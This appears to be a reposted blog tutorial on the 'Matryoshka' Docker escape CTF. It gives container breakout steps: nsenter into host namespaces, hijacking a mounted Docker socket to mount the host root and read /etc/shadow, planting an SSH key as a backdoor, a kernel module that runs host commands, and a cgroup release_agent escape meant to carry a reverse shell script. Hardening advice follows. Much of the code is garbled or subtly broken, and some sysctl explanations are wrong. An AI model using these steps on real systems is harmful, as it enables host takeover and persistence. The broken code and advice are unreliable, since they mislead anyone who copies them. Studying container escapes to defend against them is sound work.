Listen to this Post
Introduction:
Containerization has revolutionized deployment, but Docker’s isolation isn’t impenetrable. The “Matryoshka” challenge—a rapid Docker escape exercise by Nemo777 and stefan.apostol—demonstrates how nested containers can be broken out of using kernel exploits, misconfigurations, or privileged access. This article extracts every technical layer from the Matryoshka CTF, providing verified commands, hardening steps, and training pathways to master container breakout techniques.
Learning Objectives:
- Analyze common Docker escape vectors (privileged containers, volume mounts, Linux capabilities).
- Execute a step‑by‑step container breakout using `nsenter` and kernel module loading.
- Apply mitigation strategies—seccomp profiles, AppArmor, and read‑only root filesystems.
You Should Know:
- Reconnaissance Inside the Cage – Identifying Escape Primitives
Before breaking out, you must enumerate what the container gave away. Start by checking if the container runs with `–privileged` or specific capabilities.
Linux commands to run inside a suspicious container:
Check privileges and capability sets cat /proc/self/status | grep CapEff capsh --print List mounted devices and filesystems mount | grep -E '(dev|sys|proc)' Find writable host paths (common mounts like /host, /mnt) find / -type d -name "host" 2>/dev/null ls -la /proc/1/root Compare with / to detect pivot_root
If the effective capability set includes `CAP_SYS_ADMIN` or CAP_DAC_OVERRIDE, escape becomes plausible. Matryoshka often hides a mount of the host’s Docker socket (/var/run/docker.sock) – a classic giveaway.
Step‑by‑step:
- Run a test container with excessive privileges: `docker run –privileged -it ubuntu bash`
2. Inside, check `capsh –print` → see `CAP_SYS_ADMIN`.
- List host processes: `ps aux` – if you see host PIDs, the container shares the host’s PID namespace.
- Escape by spawning a new namespace: `nsenter -t 1 -m -u -i -n bash` (if `/proc/1/ns` is accessible).
2. Docker Socket Hijacking – The Ultimate Backdoor
Many CTF containers mount `/var/run/docker.sock` inside. That socket allows any container process to talk to the host’s Docker daemon.
Linux command to exploit a mounted Docker socket:
Inside the container apt-get update && apt-get install -y docker.io docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu bash
Step‑by‑step guide:
1. Verify the socket exists: `ls -la /var/run/docker.sock`
- Install Docker client (or use `curl` against the socket API).
- Run a new container that mounts the entire host root into
/host.
4. `chroot /host` or simply explore `/host/etc/shadow`.
- To install a persistent backdoor, write an SSH key into
/host/root/.ssh/authorized_keys.
Windows alternative (if using Docker Desktop with Linux containers):
Docker Desktop on Windows runs a Linux VM. Escape from a Windows container is rare, but from a Linux container inside that VM, the same socket hijack works if the VM’s socket is exposed.
- Abuse of Kernel Modules – Loading Your Own Rootkit
A privileged container can load kernel modules, giving ring‑0 access. Matryoshka may present a scenario where you need to compile a kernel module that executes code on the host.
Code example – simple host panic (not for production):
// host_exec.c
include <linux/kmod.h>
include <linux/module.h>
MODULE_LICENSE("GPL");
static int __init panic_init(void) {
char envp[] = { "HOME=/root", NULL };
char argv[] = { "/bin/bash", "-c", "touch /tmp/escaped", NULL };
call_usermodehelper(argv[bash], argv, envp, UMH_WAIT_PROC);
return 0;
}
module_init(panic_init);
Step‑by‑step to load it from a container:
Inside privileged container gcc -c -o host_exec.o host_exec.c make -C /lib/modules/$(uname -r)/build M=$(pwd) modules insmod host_exec.ko
If successful, the file `/tmp/escaped` appears on the host. Real attackers would deploy reverse shells or credential stealers.
Mitigation: Disable kernel module loading via `sysctl kernel.modules_disabled=1` (can’t be undone without reboot).
4. Breaking Out via Cgroups Release Agent
Docker uses cgroups for resource limits. If you can write to the cgroup filesystem (often mounted inside a privileged container), you can set a release agent that executes on the host.
Linux exploit commands:
Inside privileged container mount | grep cgroup cd /sys/fs/cgroup/memory mkdir x echo 1 > x/notify_on_release Find host path to container’s cgroup host_path=<code>sed -n 's/.\perdir=\([^,]\)./\1/p' /etc/mtab</code> echo "$host_path/x" > /sys/fs/cgroup/release_agent echo 1 > /sys/fs/cgroup/x/cgroup.procs Trigger release (kill the process)
Step‑by‑step:
- Identify the cgroup mount point inside the container.
- Determine the absolute host path (look for overlayfs `workdir=` or
perdir=). - Write a reverse shell script to that host path.
- Set `release_agent` to that script and trigger it by terminating a cgroup process.
- The host executes your script with root privileges.
5. Hardening Against Matryoshka‑Style Escapes (DevSecOps)
Defenders must apply these controls across Linux and Windows (via containerd or similar).
Docker run security flags:
docker run --read-only --cap-drop=ALL --cap-add=NET_ADMIN --security-opt=no-new-privileges:true \ --security-opt seccomp=/path/to/seccomp.json --security-opt apparmor=docker-default \ --user 1000:1000 myimage
Linux sysctl hardening on the host:
Disable user namespaces (breaks some container features but blocks many escapes) echo 0 > /proc/sys/kernel/unprivileged_userns_clone Restrict kernel module loading to root only echo 1 > /proc/sys/kernel/modules_disabled
Windows containers (Hyper‑V isolation):
Run with `–isolation=hyperv` instead of `process` isolation to get a lightweight VM boundary. Check isolation mode: docker inspect --format='{{.HostConfig.Isolation}}' <container>.
What Undercode Say:
- Privileged containers are rootkits waiting to happen – never use `–privileged` in production; drop all capabilities and add only required ones.
- Docker socket mounting equals host root access – treat `/var/run/docker.sock` like a root password; use tools like `docker-socket-proxy` to limit API exposure.
- Cgroups and kernel modules are classic escape vectors – monitor `/sys/fs/cgroup/release_agent` writes and block unprivileged module loading via eBPF LSM.
- Training like TryHackMe’s Matryoshka and Hackviser CSOA is essential – hands‑on escape rooms are the only way to internalize container defense.
- Defense in depth includes read‑only root FS, no new privileges, and user namespaces – combine them to make even a successful exploit useless.
Prediction:
As Kubernetes and serverless containers become ubiquitous, Docker escape techniques will evolve into cloud‑native breakout chains. Expect more CVEs targeting runc, containerd, and Linux namespaces (e.g., CVE‑2024‑21626). The industry will shift toward micro‑VMs (Firecracker, Kata Containers) and eBPF‑based security agents that detect container‑to‑host privilege escalations in real time. Matryoshka‑like challenges will become standard in CISSP and CCSK practical exams, forcing every cloud architect to learn container breakout – not just to attack, but to defend.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mathias Detmers – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
